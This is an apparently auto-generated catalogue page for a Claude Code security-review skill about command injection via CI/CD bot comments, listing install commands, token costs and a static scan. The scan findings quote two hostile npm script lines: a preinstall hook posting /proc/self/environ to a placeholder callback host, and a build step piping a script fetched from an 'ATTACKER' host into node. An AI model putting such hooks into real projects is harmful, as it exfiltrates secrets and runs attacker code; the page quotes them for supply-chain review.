cicd-bot-command-injection

cicd-bot-command-injection is a skill for Claude Code from securityfortech/hacking-skills. It costs 106 tokens per session (1,942 once invoked), scanned B, original, no licence file.

A security guide for command vulnerabilities in CI/CD bot comments. CI/CD means automated processes that build, test, and deploy software; the guide covers comments that trigger those processes.

In plain words
What is it for?
Use it to inspect issue-comment and pull-request-review-comment triggers, bot commands, slash commands, and checks of the commenter's identity or permissions.
Why use it?
It helps find cases where anyone, or an unauthorized person, can post a comment that causes a privileged workflow to run commands.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the cicd plugin — 5 skills shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/securityfortech/hacking-skills/cicd-bot-command-injection
Any agent
npx skills add securityfortech/hacking-skills --skill cicd-bot-command-injection
Clone the repo
git clone --depth 1 https://github.com/securityfortech/hacking-skills

Made for: Claude Code.

Or install cicd, the plugin that ships this one along with the rest of its 5 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cicd-bot-command-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/securityfortech/hacking-skills/cicd-bot-command-injection.svg)](https://agentmods.dev/skills/securityfortech/hacking-skills/cicd-bot-command-injection)
Your own site
<a href="https://agentmods.dev/skills/securityfortech/hacking-skills/cicd-bot-command-injection"><img src="https://agentmods.dev/badge/skills/securityfortech/hacking-skills/cicd-bot-command-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 106 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,942 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00106 $0.01942
Opus 5 $0.00053 $0.00971
Sonnet 5 $0.00021 $0.00388
Haiku 4.5 $0.00011 $0.00194

Measured 6d ago against content hash b13032b3a8c5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade B, and why

cicd-bot-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

"preinstall": "curl -d @/proc/self/environ https://CALLBACK"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

"build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node",

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

"build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node",
skills/cicd/cicd-bot-command-injection/SKILL.md · 169 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 169 lines · 106 tokens per session scan B b13032b3a8c5

Subscribe to this mod's changes

cicd-bot-command-injection is a skill published in the GitHub repository securityfortech/hacking-skills (11 stars, last pushed 5mo ago), with no licence file. It adds 106 tokens to every session and 1,942 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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